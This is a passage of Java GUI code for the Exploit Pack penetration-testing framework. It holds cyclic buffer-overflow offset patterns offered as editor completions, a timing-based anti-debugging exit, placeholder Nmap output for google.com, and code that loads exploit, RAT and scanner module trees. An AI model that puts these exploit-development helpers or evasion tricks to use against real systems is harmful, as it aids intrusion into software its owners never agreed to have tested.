AROARkARPARlARQARmARRARoARSARpARTARqARUARrARVARtARWARuARXARvARYARwARZARxARyARzAo%AosAoBAo$AonAoCAo-Ao(AoDAo;Ao)AoEAoaAo0AoFAobAo1AoGAocAo2AoHAodAo3AoIAoeAo4AoJAofAo5AoKAogAo6AoLAohAo7AoMAoiAo8AoNAojAo9AoOAokAoPAolAoQAomAoRAooAoSAopAoTAoqAoUAorAoVAotAoWAouAoXAovAoYAowAoZAoxAoyAozAS%ASsASBAS$ASnASCAS-AS(ASDAS;AS)ASEASaAS0ASFASbAS1ASGAScAS2ASHASdAS3ASIASeAS4ASJASfAS5ASKASgAS6ASLAShAS7ASMASiAS8ASNASjAS9ASOASkASPASlASQASmASRASoASSASpASTASqASUASrASVAStASWASuASXASvASYASwASZASxASyASzAp%ApsApBAp$ApnApCAp-Ap(ApDAp;Ap)ApEApaAp0ApFApbAp1ApGApcAp2ApHApdAp3ApIApeAp4ApJApfAp5ApKApgAp6ApLAphAp7ApMApiAp8ApNApjAp9ApOApkApPAplApQApmApRApoApSAppApTApqApUAprApVAptApWApuApXApvApYApwApZApxApyApzAT%ATsATBAT$ATnATCAT-AT(ATDAT;AT)ATEATaAT0ATFATbAT1ATGATcAT2ATHATdAT3ATIATeAT4ATJATfAT5ATKATgAT6ATLAThAT7ATMATiAT8ATNATjAT9ATOATkATPATlATQATmATRAToATSATpATTATqATUATrATVATtATWATuATXATvATYATwATZATxATyATzAq%AqsAqBAq$AqnAqCAq-Aq(AqDAq;Aq)AqEAqaAq0AqFAqbAq1AqGAqcAq2AqHAqdAq3AqIAqeAq4AqJAqfAq5AqKAqgAq6AqLAqhAq7AqMAqiAq8AqNAqjAq9AqOAqkAqPAqlAqQAqmAqRAqoAqSAqpAqTAqqAqUAqrAqVAqtAqWAquAqXAqvAqYAqwAqZAqxAqyAqzAU%AUsAUBAU$AUnAUCAU-AU(AUDAU;AU)AUEAUaAU0AUFAUbAU1AUGAUcAU2AUHAUdAU3AUIAUeAU4AUJAUfAU5AUKAUgAU6AULAUhAU7AUMAUiAU8AUNAUjAU9AUOAUkAUPAUlAUQAUmAURAUoAUSAUpAUTAUqAUUAUrAUVAUtAUWAUuAUXAUvAUYAUwAUZAUxAUyAUzAr%ArsArBAr$ArnArCAr-Ar(ArDAr;Ar)ArEAraAr0ArFArbAr1ArGArcAr2ArHArdAr3ArIAreAr4ArJArfAr5ArKArgAr6ArLArhAr7ArMAriAr8ArNArjAr9ArOArkArPArlArQArmArRAroArSArpArTArqArUArrArVArtArWAruArXArvArYArwArZArxAryArzAV%AVsAVBAV$AVnAVCAV-AV(AVDAV;AV)AVEAVaAV0AVFAVbAV1AVGAVcAV2AVHAVdAV3AVIAVeAV4AVJAVfAV5AVKAVgAV6AVLAVhAV7AVMAViAV8AVNAVjAV9AVOAVkAVPAVlAVQAVmAVRAVoAVSAVpAVTAVqAVUAVrAVVAVtAVWAVuAVXAVvAVYAVwAVZAVxAVyAVzAt%AtsAtBAt$AtnAtCAt-At(AtDAt;At)AtEAtaAt0AtFAtbAt1AtGAtcAt2AtHAtdAt3AtIAteAt4AtJAtfAt5AtKAtgAt6AtLAthAt7AtMAtiAt8AtNAtjAt9AtOAtkAtPAtlAtQAtmAtRAtoAtSAtpAtTAtqAtUAtrAtVAttAtWAtuAtXAtvAtYAtwAtZAtxAtyAtzAW%AWsAWBAW$AWnAWCAW-AW(AWDAW;AW)AWEAWaAW0AWFAWbAW1AWGAWcAW2AWHAWdAW3AWIAWeAW4AWJAWfAW5AWKAWgAW6AWLAWhAW7AWMAWiAW8AWNAWjAW9AWOAWkAWPAWlAWQAWmAWRAWoAWSAWpAWTAWqAWUAWrAWVAWtAWWAWuAWXAWvAWYAWwAWZAWxAWyAWzAu%AusAuBAu$AunAuCAu-Au(AuDAu;Au)AuEAuaAu0AuFAubAu1AuGAucAu2AuHAudAu3AuIAueAu4AuJAufAu5AuKAugAu6AuLAuhAu7AuMAuiAu8AuNAujAu9AuOAukAuPAulAuQAumAuRAuoAuSAupAuTAuqAuUAurAuVAutAuWAuuAuXAuvAuYAuwAuZAuxAuyAuzAX%AXsAXBAX$AXnAXCAX-AX(AXDAX;AX)AXEAXaAX0AXFAXbAX1AXGAXcAX2AXHAXdAX3AXIAXeAX4AXJAXfAX5AXKAXgAX6AXLAXhAX7AXMAXiAX8AXNAXjAX9AXOAXkAXPAXlAXQAXmAXRAXoAXSAXpAXTAXqAXUAXrAXVAXtAXWAXuAXXAXvAXYAXwAXZAXxAXyAXzAv%AvsAvBAv$AvnAvCAv-Av(AvDAv;Av)AvEAvaAv0AvFAvbAv1AvGAvcAv2AvHAvdAv3AvIAveAv4AvJAvfAv5AvKAvgAv6AvLAvhAv7AvMAviAv8AvNAvjAv9AvOAvkAvPAvlAvQAvmAvRAvoAvSAvpAvTAvqAvUAvrAvVAvtAvWAvuAvXAvvAvYAvwAvZAvxAvyAvzAY%AYsAYBAY$AYnAYCAY-AY(AYDAY;AY)AYEAYaAY0AYFAYbAY1AYGAYcAY2AYHAYdAY3AYIAYeAY4AYJAYfAY5AYKAYgAY6AYLAYhAY7AYMAYiAY8AYNAYjAY9AYOAYkAYPAYlAYQAYmAYRAYoAYSAYpAYTAYqAYUAYrAYVAYtAYWAYuAYXAYvAYYAYwAYZAYxAYyAYzAw%AwsAwBAw$AwnAwCAw-Aw(AwDAw;Aw)AwEAwaAw0AwFAwbAw1AwGAwcAw2AwHAwdAw3AwIAweAw4AwJAwfAw5AwKAwgAw6AwLAwhAw7AwMAwiAw8AwNAwjAw9AwOAwkAwPAwlAwQAwmAwRAwoAwSAwpAwTAwqAwUAwrAwVAwtAwWAwuAwXAwvAwYAwwAwZAwxAwyAwzAZ%AZsAZBAZ$AZnAZCAZ-AZ(AZDAZ;AZ)AZEAZaAZ0AZFAZbAZ1AZGAZcAZ2AZHAZdAZ3AZIAZeAZ4AZJAZfAZ5AZKAZgAZ6AZLAZhAZ7AZMAZiAZ8AZNAZjAZ9AZOAZkAZPAZlAZQAZmAZRAZoAZSAZpAZTAZqAZUAZrAZVAZtAZWAZuAZXAZvAZYAZwAZZAZxAZyAZzAx%AxsAxBAx$AxnAxCAx-Ax(AxDAx;Ax)AxEAxaAx0AxFAxbAx1AxGAxcAx2AxHAxdAx3AxIAxeAx4AxJAxfAx5AxKAxgAx6AxLAxhAx7AxMAxiAx8AxNAxjAx9AxOAxkAxPAxlAxQAxmAxRAxoAxSAxpAxTAxqAxUAxrAxVAxtAxWAxuAxXAxvAxYAxwAxZAxxAxyAxzAy%AysAyBAy$AynAyCAy-Ay(AyDAy;Ay)AyEAyaAy0AyFAybAy1AyGAycAy2AyHAydAy3AyIAyeAy4AyJAyfAy5AyKAygAy6AyLAyhAy7AyMAyiAy8AyNAyjAy9AyOAykAyPAylAyQAymAyRAyoAySAypAyTAyqAyUAyrAyVAytAyWAyuAyXAyvAyYAywAyZAyxAyyAyzAz%AzsAzBAz$AznAzCAz-Az(AzDAz;Az)AzEAzaAz0AzFAzbAz1AzGAzcAz2AzHAzdAz3AzIAzeAz4AzJAzfAz5AzKAzgAz6AzLAzhAz7AzMAziAz8AzNAzjAz9AzOAzkAzPAzlAzQAzmAzRAzoAzSAzpAzTAzqAzUAzrAzVAztAzWAzuAzXAzvAzYAzwAzZAzxAzyAzz%%%s%%B%%$%%n%%C%%-%%(%%D%%;%%)%%E%%a%%0%%F%%b%%1%%G%%c%%2%%H%%d%%3%%I%%e%%4%%J%%f%%5%%K%%g%%6%%L%%h%%7%%M%%i%%8%%N%%j%%9%%O%%k%%P%%l%%Q%%m%%R%%o%%S%%p%%T%%q%%U%%r%%V%%t%%W%%u%%X%%v%%Y%%w%%Z%%x%%y%%z%ss%sB%s$%sn%sC%s-%s(%sD%s;%s)%sE%sa%s0%sF%sb%s1%sG%sc%s2%sH%sd%s3%sI%se%s4%sJ%sf%s5%sK%sg%s6%sL%sh%s7%sM%si%s8%sN%sj%s9%sO%sk%sP%sl%sQ%sm%sR%so%sS%sp%sT%sq%sU%sr%sV%st%sW%su%sX%sv%sY%sw%sZ%sx%sy%sz%Bs%BB%B$%Bn%BC%B-%B(%BD%B;%B)%BE%Ba%B0%BF%Bb%B1%BG%Bc%B2%BH%Bd%B3%BI%Be%B4%BJ%Bf%B5%BK%Bg%B6%BL%Bh%B7%BM%Bi%B8%BN%Bj%B9%BO%Bk%BP%Bl%BQ%Bm%BR%Bo%BS%Bp%BT%Bq%BU%Br%BV%Bt%BW%Bu%BX%Bv%BY%Bw%BZ%Bx%By%Bz%$s%$B%$$%$n%$C%$-%$(%$D%$;%$)%$E%$a%$0%$F%$b%$1%$G%$c%$2%$H%$d%$3%$I%$e%$4%$J%$f%$5%$K%$g%$6%$L%$h%$7%$M%$i%$8%$N%$j%$9%$O%$k%$P%$l%$Q%$m%$R%$o%$S%$p%$T%$q%$U%$r%$V%$t%$W%$u%$X%$v%$Y%$w%$Z%$x%$y%$z%ns%nB%n$%nn%nC%n-%n(%nD%n;%n)%nE%na%n0%nF%nb%n1%nG%nc%n2%nH%nd%n3%nI%ne%n4%nJ%nf%n5%nK%ng%n6%nL%nh%n7%nM%ni%n8%nN%nj%n9%nO%nk%nP%nl%nQ%nm%nR%no%nS%np%nT%nq%nU%nr%nV%nt%nW%nu%nX%nv%nY%nw%nZ%nx%ny%nz%Cs%CB%C$%Cn%CC%C-%C(%CD%C;%C)%CE%Ca%C0%CF%Cb%C1%CG%Cc%C2%CH%Cd%C3%CI%Ce%C4%CJ%Cf%C5%CK%Cg%C6%CL%Ch%C7%CM%Ci%C8%CN%Cj%C9%CO%Ck%CP%Cl%CQ%Cm%CR%Co%CS%Cp%CT%Cq%CU%Cr%CV%Ct%CW%Cu%CX%Cv%CY%Cw%CZ%Cx%Cy%Cz%-s%-B%-$%-n%-C%--%-(%-D%-;%-)%-E%-a%-0%-F%-b%-1%-G%-c%-2%-H%-d%-3%-I%-e%-4%-J%-f%-5%-K%-g%-6%-L%-h%-7%-M%-i%-8%-N%-j%-9%-O%-k%-P%-l%-Q%-m%-R%-o%-S%-p%-T%-q%-U%-r%-V%-t%-W%-u%-X%-v%-Y%-w%-Z%-x%-y%-z%(s%(B%($%(n%(C%(-%((%(D%(;%()%(E%(a%(0%(F%(b%(1%(G%(c%(2%(H%(d%(3%(I%(e%(4%(J%(f%(5%(K%(g%(6%(L%(h%(7%(M%(i%(8%(N%(j%(9%(O%(k%(P%(l%(Q%(m%(R%(o%(S%(p%(T%(q%(U%(r%(V%(t%(W%(u%(X%(v%(Y%(w%(Z%(x%(y%(z%Ds%DB%D$%Dn%DC%D-%D(%DD%D;%D)%DE%Da%D0%DF%Db%D1%DG%Dc%D2%DH%Dd%D3%DI%De%D4%DJ%Df%D5%DK%Dg%D6%DL%Dh%D7%DM%Di%D8%DN%Dj%D9%DO%Dk%DP%Dl%DQ%Dm%DR%Do%DS%Dp%DT%Dq%DU%Dr%DV%Dt%DW%Du%DX%Dv%DY%Dw%DZ%Dx%Dy%Dz%;s%;B%;$%;n%;C%;-%;(%;D%;;%;)%;E%;a%;0%;F%;b%;1%;G%;c%;2%;H%;d%;3%;I%;e%;4%;J%;f%;5%;K%;g%;6%;L%;h%;7%;M%;i%;8%;N%;j%;9%;O%;k%;P%;l%;Q%;m%;R%;o%;S%;p%;T%;q%;U%;r%;V%;t%;W%;u%;X%;v%;Y%;w%;Z%;x%;y%;z%)s%)B%)$%)n%)C%)-%)(%)D%);%))%)E%)a%)0%)F%)b%)1%)G%)c%)2%)H%)d%)3%)I%)e%)4%)J%)f%)5%)K%)g%)6%)L%)h%)7%)M%)i%)8%)N%)j%)9%)O%)k%)P%)l%)Q%)m%)R%)o%)S%)p%)T%)q%)U%)r%)V%)t%)W%)u%)X%)v%)Y%)w%)Z%)x%)y%)z%Es%EB%E$%En%EC%E-%E(%ED%E;%E)%EE%Ea%E0%EF%Eb%E1%EG%Ec%E2%EH%Ed%E3%EI%Ee%E4%EJ%Ef%E5%EK%Eg%E6%EL%Eh%E7%EM%Ei%E8%EN%Ej%E9%EO%Ek%EP%El%EQ%Em%ER%Eo%ES%Ep%ET%Eq%EU%Er%EV%Et%EW%Eu%EX%Ev%EY%Ew%EZ%Ex%Ey%Ez%as%aB%a$%an%aC%a-%a(%aD%a;%a)%aE%aa%a0%aF%ab%a1%aG%ac%a2%aH%ad%a3%aI%ae%a4%aJ%af%a5%aK%ag%a6%aL%ah%a7%aM%ai%a8%aN%aj%a9%aO%ak%aP%al%aQ%am%aR%ao%aS%ap%aT%aq%aU%ar%aV%at%aW%au%aX%av%aY%aw%aZ%ax%ay%az%0s%0B%0$%0n%0C%0-%0(%0D%0;%0)%0E%0a%00%0F%0b%01%0G%0c%02%0H%0d%03%0I%0e%04%0J%0f%05%0K%0g%06%0L%0h%07%0M%0i%08%0N%0j%09%0O%0k%0P%0l%0Q%0m%0\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "pattern128 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "pattern64 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "pattern32 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;A\"\n\r"));
// Add a couple of "shorthand" completions. These completions don't
        // require the input text to be the same thing as the replacement text.
        provider.addCompletion(new ShorthandCompletion(provider, "sysout",
                "System.out.println(", "System.out.println("));
        provider.addCompletion(new ShorthandCompletion(provider, "syserr",
                "System.err.println(", "System.err.println("));

        return provider;
    }

    /**
     * Creates new form MainFrame
     */
    public MainFrame() {
        long s = System.nanoTime();
        if (System.nanoTime() - s > 100000) {
            System.exit(0);
        }

        jTextAreaTargets.setText("# Pentest notes for: exploitpack.com [Exploit Pack]\n"
                + "# Nmap 7.70 scan initiated Mon Sep 24 23:08:15 2018 as: C:\\Program Files (x86)\\Nmap\\nmap.exe -sV -A -oA log/google.com google.com\n"
                + "Nmap scan report for google.com (172.217.19.206)\n"
                + "Host is up (0.027s latency).\n"
                + "rDNS record for 172.217.19.206: ams16s31-in-f14.1e100.net\n"
                + "Not shown: 997 filtered ports\n"
                + "PORT    STATE SERVICE    VERSION\n"
                + "53/tcp  open  domain     (unknown banner: Not disclosed)\n"
                + "| dns-nsid: \n"
                + "|_  bind.version: Not disclosed\n"
                + "| fingerprint-strings: \n"
                + "|   DNSVersionBindReqTCP: \n"
                + "|     version\n"
                + "|     bind\n"
                + "|_    disclosed\n"
                + "80/tcp  open  http-proxy Squid http proxy\n"
                + "| http-open-proxy: Potentially OPEN proxy.\n"
                + "|_Methods supported: GET HEAD\n"
                + "|_http-server-header: gws\n"
                + "|_http-title: Did not follow redirect to http://www.google.com/\n"
                + "443/tcp open  ssl/https  gws\n"
                + "| fingerprint-strings: \n"
                + "|   GetRequest: \n"
                + "|     HTTP/1.0 200 OK\n"
                + "|     Date: Mon, 24 Sep 2018 21:08:39 GMT\n"
                + "|     Expires: -1\n"
                + "|     Cache-Control: private, max-age=0\n"
                + "|     Content-Type: text/html; charset=ISO-8859-1\n"
                + "|     P3P: CP=\"This is not a P3P policy! See g.co/p3phelp for more info.\"\n"
                + "|     Server: gws\n"
                + "|     X-XSS-Protection: 1; mode=block\n"
                + "|     X-Frame-Options: SAMEORIGIN\n"
                + "|     Set-Cookie: 1P_JAR=2018-09-24-21; expires=Wed, 24-Oct-2018 21:08:39 GMT; path=/; domain=.google.com\n"
                + "|     Set-Cookie: NID=139=0bt67jSRm4Cwz0KZWaPypBMSIg-deivJ110lQQJTpOntKfNcmKDTBQVTiKnIfxpTKGAWeLW5wiOVw3MV-wOPxe5J6GjmOppBy_aZ-SjWTwjqfntNuHWmVKnba5m6P1Ka; expires=Tue, 26-Mar-2019 21:08:39 GMT; path=/; domain=.google.com; HttpOnly\n"
                + "|     Alt-Svc: quic=\":443\"; ma=2592000; v=\"44,43,39,35\"\n"
                + "|     Accept-Ranges: none\n"
                + "|     Vary: Accept-Encoding\n"
                + "|     <!doctype html><html itemscope=\"\" itemtype=\"http://schema.org/WebPage\" lang=\"nl\"><head><meta content=\"text/html; charset=UTF-8\" http-equiv=\"Content-Type\"><meta content=\"/images/brandin\n"
                + "|   HTTPOptions: \n"
                + "|     HTTP/1.0 405 Method Not Allowed\n"
                + "|     Allow: GET, HEAD\n"
                + "|     Date: Mon, 24 Sep 2018 21:08:39 GMT\n"
                + "|     Content-Type: text/html; charset=UTF-8\n"
                + "|     Server: gws\n"
                + "|     Content-Length: 1592\n"
                + "|     X-XSS-Protection: 1; mode=block\n"
                + "|     X-Frame-Options: SAMEORIGIN\n"
                + "|     Alt-Svc: quic=\":443\"; ma=2592000; v=\"44,43,39,35\"\n"
                + "|     <!DOCTYPE html>\n"
                + "|     <html lang=en>\n"
                + "|     <meta charset=utf-8>\n"
                + "|     <meta name=viewport content=\"initial-scale=1, minimum-scale=1, width=device-width\">\n"
                + "|     <title>Error 405 (Method Not Allowed)!!1</title>\n"
                + "|     <style>\n"
                + "|_    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{");
        jTextAreaTargets.setCaretPosition(0);
        FileReader streamCheck = null;
        try {
            initComponents();
            // Initialize the editor
            int lebar = this.getWidth() / 2;
            int tinggi = this.getHeight() / 2;
            int x = (Toolkit.getDefaultToolkit().getScreenSize().width / 2) - lebar;
            int y = (Toolkit.getDefaultToolkit().getScreenSize().height / 2) - tinggi;
            this.setLocation(x, y);
            this.setVisible(true);
            setDefaultCloseOperation(Notepad.DISPOSE_ON_CLOSE);
            getContentPane().setBackground(Color.WHITE);
            setIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bug.png")));
            jTextAreaModuleEditor.setSyntaxEditingStyle(SyntaxConstants.SYNTAX_STYLE_PYTHON);
            jTextAreaModuleEditor.setCodeFoldingEnabled(true);
            jTextAreaTargets.setSyntaxEditingStyle(SyntaxConstants.SYNTAX_STYLE_PYTHON);
            jTextAreaTargets.setCodeFoldingEnabled(true);
            jPanelTargets.add(new RTextScrollPane(jTextAreaTargets));
            jPanelEditor.add(new RTextScrollPane(jTextAreaModuleEditor));
            // A CompletionProvider is what knows of all possible completions, and
            // analyzes the contents of the text area at the caret position to
            // determine what completion choices should be presented. Most instances
            // of CompletionProvider (such as DefaultCompletionProvider) are designed
            // so that they can be shared among multiple text components.
            CompletionProvider provider = createCompletionProvider();

            // An AutoCompletion acts as a "middle-man" between a text component
            // and a CompletionProvider. It manages any options associated with
            // the auto-completion (the popup trigger key, whether to display a
            // documentation window along with completion choices, etc.). Unlike
            // CompletionProviders, instances of AutoCompletion cannot be shared
            // among multiple text components.
            AutoCompletion ac = new AutoCompletion(provider);
            ac.install(jTextAreaModuleEditor);
            setDefaultCloseOperation(EXIT_ON_CLOSE);
            pack();
            setLocationRelativeTo(null);
            // Read config file
            List<String> helper = new ArrayList<>();
            streamCheck = new FileReader("output/" + "helper" + ".ep");
            BufferedReader inCheck = new BufferedReader(streamCheck);
            String stringtocheck;
            while ((stringtocheck = inCheck.readLine()) != null) {
                helper.add(stringtocheck);
            }
            streamCheck.close();

            setLocationRelativeTo(null);
            setDefaultCloseOperation(InitialCheck.DISPOSE_ON_CLOSE);
            getContentPane().setBackground(Color.WHITE);
            setIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bug.png")));

            // Read config file
            FileReader fstream = new FileReader("output/" + "config" + ".ep");
            BufferedReader in = new BufferedReader(fstream);
            String stringToAppend;
            while ((stringToAppend = in.readLine()) != null) {
                config.add(stringToAppend);
            }
            pythonpath = config.get(0);
            nmappath = config.get(1);
            ScannerOptions = config.get(2);
            serverPort = config.get(3);
            userName = config.get(4);
            userEmail = config.get(5);
            userWeb = config.get(6);

            // Set config
            jTextAreaShellcode.setCaretPosition(0);
            jLabelWelcome.setText("User logged in: " + userName + " - [ Latest release: v11.9 Abyss Walker ]");
            // Obtain local time
            Format formatter;
            Date date = new Date();
            formatter = new SimpleDateFormat("hh:mm:ss");
            LogTime = formatter.format(date);

            // EPLog
            EPLogger.log("System started: " + LogTime);
            EPLogger.log("IP Address: " + Inet4Address.getLocalHost().getHostAddress());

            // Read log file
            FileReader fstreamConfig = new FileReader("output/" + "executionlog" + ".eplog");
            BufferedReader inConfig = new BufferedReader(fstreamConfig);
            String lineConfig;
            while ((lineConfig = inConfig.readLine()) != null) {
                jTextAreaAppLog.append(lineConfig + "\n");
            }
            // Close the output stream
            in.close();
            jTextAreaAppLog.setCaretPosition(0);
            try {
                jLabelInterface.setText(Exploit.getIpExternal());
            } catch (Exception e) {
                System.out.println("Sorry couldn't get the external IP address, looping.");
                jLabelInterface.setText("127.0.0.1");
            }

            if (SplashScreen.filepath) {
                jButton1.setEnabled(true);
                jButton11.setEnabled(true);
                jButtonFuzzer.setEnabled(true);
                jButtonFuzzer1.setEnabled(true);
                jButtonFuzzer2.setEnabled(true);
                jButton30.setEnabled(true);
                jButtonExecution.setEnabled(true);
                jButton32.setEnabled(true);
                jButton37.setEnabled(true);
                jButton14.setEnabled(true);
                jButton5.setEnabled(true);
            }

            // Generate tree
            String path = "exploits/";
            String files;
            File folder = new File(path);
            File[] listOfFiles = folder.listFiles();

            jTextAreaQuickInfo.append("[" + LogTime + "] "
                    + "Modules successfully loaded: OK" + "\n");

            DefaultTreeCellRenderer rendererModules = new DefaultTreeCellRenderer();
            rendererModules.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/application.png"))));
            rendererModules.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/application.png"))));
            rendererModules.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/log.png"))));
            jTreeModuleStatus.setCellRenderer(rendererModules);

            DefaultTreeCellRenderer rendererExploits = new DefaultTreeCellRenderer();
            rendererExploits.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
            rendererExploits.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
            rendererExploits.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/scriptnormal.png"))));
            jTreeExploits.setCellRenderer(rendererExploits);

            DefaultTreeCellRenderer rendererRAT = new DefaultTreeCellRenderer();
            rendererRAT.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/world.png"))));
            rendererRAT.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/world.png"))));
            rendererRAT.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/terminal.png"))));
            jTreeRAT.setCellRenderer(rendererRAT);

            DefaultTreeCellRenderer rendererScanner = new DefaultTreeCellRenderer();
            rendererScanner.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/networking.png"))));
            rendererScanner.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/networking.png"))));
            rendererScanner.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/port.png"))));
            jTreeRemoteScanner.setCellRenderer(rendererScanner);

            DefaultTreeCellRenderer rendererTools = new DefaultTreeCellRenderer();
            rendererTools.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
            rendererTools.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
            rendererTools.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/tool.png"))));
            jTreeTools.setCellRenderer(rendererTools);

            DefaultTreeCellRenderer rendererNotepad = new DefaultTreeCellRenderer();
            rendererNotepad.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
            rendererNotepad.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
            rendererNotepad.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/server2.png"))));
            jTreeNotepad.setCellRenderer(rendererNotepad);

            if (SplashScreen.filepath) {
                this.setTitle("Exploit Pack @Registered - Current release: v11.9 - http://exploitpack.com [ Abyss Walker ]");
                jButton31.setText("Registered");
                jButton31.setForeground(Color.red);
                jButton31.setIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/Person.png"))));
            }
            // Iterate and add items
            DefaultTreeModel model = (DefaultTreeModel) jTreeExploits.getModel();
            DefaultTreeModel modelNotepad = (DefaultTreeModel) jTreeNotepad.getModel();
            DefaultTreeModel modelTools = (DefaultTreeModel) jTreeTools.getModel();
            jTreeExploits.removeAll();
            jTreeNotepad.removeAll();
            jTreeTools.removeAll();
            for (int i = 0; i < listOfFiles.length; i++) {
                if (listOfFiles[i].isFile()) {
                    files = listOfFiles[i].getName();
                    if (files.endsWith(".xml") || files.endsWith(".XML")) {
                        // Instancio XMLTreenode
                        NewXMLNode = new XMLTreenode();
                        // Start de la clase main de XMLTreenode
                        NewXMLNode.main(null, files);

                        // Targets Tree
                        if (NewXMLNode.ExploitType.equals("notepad")) {
                            DefaultMutableTreeNode item = null;
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelNotepad.getChild(modelNotepad.getRoot(), 0);
                            if (NewXMLNode.Platform.equals("windows")) {
                                if (NewXMLNode.SpecialArgs.equals("owned")) {
                                    item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                                } else {
                                    item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                                }
                            }
                            if (NewXMLNode.Platform.equals("linux")) {
                                if (NewXMLNode.SpecialArgs.equals("owned")) {
                                    item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                                } else {
                                    item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                                }
                            }
                            if (NewXMLNode.Platform.equals("osx")) {
                                if (NewXMLNode.SpecialArgs.equals("owned")) {
                                    item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                                } else {
                                    item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                                }
                            }
                            if (NewXMLNode.Platform.equals("bsd")) {
                                if (NewXMLNode.SpecialArgs.equals("owned")) {
                                    item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                                } else {
                                    item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                                }
                            }
                            if (NewXMLNode.Platform.equals("mobile")) {
                                if (NewXMLNode.SpecialArgs.equals("owned")) {
                                    item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                                } else {
                                    item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                                }
                            }
                            root.add(item);
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelNotepad.getChild(modelNotepad.getRoot(), 0);
                            if (root.getChildCount() == 0) {
                                //root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("tools")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 0);
                            DefaultMutableTreeNode item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            root.add(item);
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 0);
                            if (root.getChildCount() == 0) {
                                //root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("dos")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 1);
                            DefaultMutableTreeNode item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            root.add(item);
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 1);
                            if (root.getChildCount() == 0) {
                                //root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("others")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 2);
                            DefaultMutableTreeNode item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            root.add(item);
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 2);
                            if (root.getChildCount() == 0) {
                                //root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }

                        // Exploit Tree
                        if (NewXMLNode.Platform.equals("aix")) {
